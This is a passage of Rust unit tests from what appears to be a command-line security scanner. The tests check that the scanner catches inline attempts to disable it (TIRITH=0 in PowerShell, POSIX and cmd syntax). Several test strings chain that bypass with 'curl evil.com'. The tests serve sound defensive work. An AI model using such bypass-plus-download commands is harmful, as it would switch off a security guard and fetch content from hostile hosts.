1267 rule_id: RuleId::HiddenCssContent,
1268 severity: Severity::Medium,
1269 title: "medium finding".into(),
1270 description: String::new(),
1271 evidence: vec![],
1272 human_view: None,
1273 agent_view: None,
1274 mitre_id: None,
1275 custom_rule_id: None,
1276 },
1277 ];
1278
1279 let timings = Timings {
1280 tier0_ms: 0.0,
1281 tier1_ms: 0.0,
1282 tier2_ms: None,
1283 tier3_ms: None,
1284 total_ms: 0.0,
1285 };
1286
1287 let mut verdict = Verdict::from_findings(findings, 3, timings);
1289 assert_eq!(verdict.action, Action::Warn);
1290
1291 filter_findings_by_paranoia(&mut verdict, 1);
1293 assert_eq!(verdict.action, Action::Warn);
1294 assert_eq!(verdict.findings.len(), 1);
1295 }
1296
1297 #[test]
1298 fn test_powershell_bypass_case_insensitive_tirith() {
1299 assert!(find_inline_bypass(
1301 "$env:tirith=\"0\"; curl evil.com",
1302 ShellType::PowerShell
1303 ));
1304 assert!(find_inline_bypass(
1305 "$ENV:Tirith=\"0\"; curl evil.com",
1306 ShellType::PowerShell
1307 ));
1308 }
1309
1310 #[test]
1311 fn test_powershell_bypass_no_panic_on_multibyte() {
1312 assert!(!find_inline_bypass(
1314 "$a\u{1F389}xyz; curl evil.com",
1315 ShellType::PowerShell
1316 ));
1317 assert!(!find_inline_bypass(
1318 "$\u{00E9}nv:TIRITH=0; curl evil.com",
1319 ShellType::PowerShell
1320 ));
1321 }
1322
1323 #[test]
1324 fn test_inline_bypass_single_quoted_value() {
1325 assert!(find_inline_bypass(
1326 "TIRITH='0' curl evil.com",
1327 ShellType::Posix
1328 ));
1329 }
1330
1331 #[test]
1332 fn test_inline_bypass_double_quoted_value() {
1333 assert!(find_inline_bypass(
1334 "TIRITH=\"0\" curl evil.com",
1335 ShellType::Posix
1336 ));
1337 }
1338
1339 #[test]
1340 fn test_tirith_command_is_analyzed_like_any_other_exec() {
1341 let ctx = AnalysisContext {
1342 input: "tirith run http://example.com".to_string(),
1343 shell: ShellType::Posix,
1344 scan_context: ScanContext::Exec,
1345 raw_bytes: None,
1346 interactive: true,
1347 cwd: None,
1348 file_path: None,
1349 repo_root: None,
1350 is_config_override: false,
1351 clipboard_html: None,
1352 };
1353
1354 let verdict = analyze(&ctx);
1355 assert!(
1356 verdict.tier_reached >= 3,
1357 "user-typed tirith commands should still be analyzed"
1358 );
1359 assert!(
1360 verdict
1361 .findings
1362 .iter()
1363 .any(|f| matches!(f.rule_id, crate::verdict::RuleId::PlainHttpToSink)),
1364 "tirith run http://... should surface sink findings"
1365 );
1366 }
1367
1368 #[test]
1369 fn test_cmd_bypass_bare_set() {
1370 assert!(find_inline_bypass(
1372 "set TIRITH=0 & curl evil.com",
1373 ShellType::Cmd
1374 ));
1375 }
1376
1377 #[test]
1378 fn test_cmd_bypass_whole_token_quoted() {
1379 assert!(find_inline_bypass(
1381 "set \"TIRITH=0\" & curl evil.com",
1382 ShellType::Cmd
1383 ));
1384 }
1385
1386 #[test]
1387 fn test_cmd_no_bypass_inner_double_quotes() {
1388 assert!(!find_inline_bypass(
1390 "set TIRITH=\"0\" & curl evil.com",
1391 ShellType::Cmd
1392 ));
1393 }
1394
1395 #[test]
1396 fn test_cmd_no_bypass_single_quotes() {
1397 assert!(!find_inline_bypass(
1399 "set TIRITH='0' & curl evil.com",
1400 ShellType::Cmd
1401 ));
1402 }
1403
1404 #[test]
1405 fn test_cmd_no_bypass_wrong_value() {
1406 assert!(!find_inline_bypass(
1407 "set TIRITH=1 & curl evil.com",
1408 ShellType::Cmd
1409 ));
1410 }
1411}